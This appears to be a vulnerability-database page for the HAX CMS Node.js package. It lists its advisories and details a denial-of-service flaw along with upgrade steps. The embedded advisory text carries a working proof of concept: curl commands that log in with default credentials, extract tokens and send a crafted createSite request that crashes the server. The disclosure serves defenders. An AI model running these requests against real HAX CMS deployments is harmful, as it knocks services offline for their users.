Vulnerabilities in pkg:npm/@haxtheweb/haxcms-nodejs
PACKAGECVE-2026-46357 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-20: Improper Input Validation) affecting HAX CMS libraries in the npm ecosystem. The issue involves denial of service using malicious import request. Remediation is available by upgrading affected packages to version 26.0.0.
pkg:npm/@haxtheweb/haxcms-nodejs
Vulnerability advisories affecting package pkg:npm/@haxtheweb/haxcms-nodejs. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9r33-xhw8-4qqp | CVE-2026-46357 | MODERATE | HAX CMS: Denial of Service using Malicious Import Request |
| GHSA-x3x5-7h4h-gwxg | CVE-2026-46511 | HIGH | HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack |
| GHSA-jh3h-rpxg-fr36 | CVE-2026-46396 | HIGH | Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover |
| GHSA-6c8g-9hfh-pq5h | CVE-2026-46395 | CRITICAL | HAXcms: Private Key Disclosure via Broken HMAC Implementation |
| GHSA-2m6p-hm3w-6jm3 | CVE-2026-46496 | MODERATE | HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft |
| GHSA-q862-gcgq-5m6g | CVE-2026-46393 | HIGH | HAXcms createSite SSRF Enables Arbitrary File Read |
| GHSA-g2g8-95qg-v35h | CVE-2026-48527 | HIGH | HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint |
| GHSA-3fm2-xfq7-7778 | CVE-2026-22704 | HIGH | HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover |
| GHSA-9jr9-8ff3-m894 | CVE-2025-54378 | HIGH | HAX CMS API Lacks Authorization Checks |
| GHSA-54vw-f4xf-f92j | CVE-2025-54139 | MODERATE | HAX CMS application pages vulnerable to clickjacking |
| GHSA-5fpv-5qvh-7cf3 | CVE-2025-54137 | HIGH | NodeJS version of the HAX CMS application is distributed with Default Secrets |
| GHSA-pjj3-j5j6-qj27 | CVE-2025-54134 | HIGH | HAX CMS NodeJS Application Has Improper Error Handling That Leads to Denial of Service |
| GHSA-59g8-h59f-8hjp | CVE-2025-54128 | HIGH | NodeJS version of HAX CMS Has Disabled Content Security Policy That Enables Cross-Site Scripting |
| GHSA-f38f-jvqj-mfg6 | CVE-2025-54127 | CRITICAL | NodeJS version of HAX CMS Has Insecure Default Configuration That Leads to Unauthenticated Access |
| GHSA-g4cf-pp4x-hqgw | CVE-2025-49141 | HIGH | HaxCMS-PHP Command Injection Vulnerability |
| GHSA-v3ph-2q5q-cg88 | CVE-2025-49139 | MODERATE | @haxtheweb/haxcms-nodejs Iframe Phishing vulnerability |
CVE-2026-46357 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-46357
To remediate this vulnerability, upgrade all affected HAX CMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @haxtheweb/haxcms-nodejs@26.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @haxtheweb/haxcms-nodejs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46357, inspect your project dependencies using npm:
npm ls @haxtheweb/haxcms-nodejs
Analyze the terminal output to locate any version of HAX CMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.0.0), your application is affected.
Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In HAX CMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46357 Affected HAX CMS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@haxtheweb/haxcms-nodejs
|
npm |
< 26.0.0
|
26.0.0
|
References
Frequently Asked Questions
What is CVE-2026-46357?
Which HAX CMS versions are affected?
What version fixes CVE-2026-46357?
Is @haxtheweb/haxcms-nodejs affected?
What is the CVSS score of CVE-2026-46357?
What CWE is associated with CVE-2026-46357?
How can I check npm dependencies for CVE-2026-46357?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9r33-xhw8-4qqp",
"modified" : "2026-06-09T11:57:10Z",
"published" : "2026-05-19T19:51:51Z",
"aliases" : [ "CVE-2026-46357" ],
"summary" : "HAX CMS: Denial of Service using Malicious Import Request",
"details" : "### Summary\n\nThe HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.\n\n### Details\n\nThe `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.\n\nThe crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`.\n\nAs a result:\n\n- the request reaches privileged code inside `createSite`\n- the server hits the remote file handling path\n- the process crashes before `downloadAndSaveFile()` performs the outbound request\n- no imported file is written into the site directory\n\n### Affected Resources\n\n- src/routes/createSite.js:176\n- src/lib/HAXCMSFile.js:25\n- system/api/createSite\n\n### PoC\n\n1. Obtain a JWT by logging in with valid credentials.\n\n```bash\nJWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}' | grep -o '\"jwt\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n```\n\n2. Extract the required tokens from the `connectionSettings` endpoint.\n\n```bash\nSETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')\nROOT_TOKEN=$(printf '%s' \"$SETTINGS\" | grep -o '\"token\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\nUSER_TOKEN=$(printf '%s' \"$SETTINGS\" | grep -o 'createSite[^\"]*' | grep -o 'user_token=[^\"&]*' | cut -d'=' -f2)\n```\n\n3. Send the malformed request to crash the server.\n\n```bash\ncurl -i -X POST \"http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\n \\\"token\\\": \\\"$ROOT_TOKEN\\\",\n \\\"site\\\": { \\\"name\\\": \\\"dos-poc\\\" },\n \\\"theme\\\": {},\n \\\"build\\\": {\n \\\"structure\\\": \\\"import\\\",\n \\\"type\\\": \\\"import\\\",\n \\\"items\\\": [],\n \\\"files\\\": {\n \\\"files/poc.txt\\\": \\\"http://127.0.0.1:8888/poc.txt\\\"\n }\n }\n }\"\n```\n\n<img width=\"953\" height=\"433\" alt=\"Empty-Reply\" src=\"https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da\" />\n\n\nThe curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.\n\n<img width=\"950\" height=\"278\" alt=\"crash-detail\" src=\"https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1\" />\n\n\n### Impact\n\nAn authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@haxtheweb/haxcms-nodejs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46357"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/haxtheweb/issues"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-476" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T19:51:51Z",
"nvd_published_at" : "2026-06-05T20:17:33Z"
}
}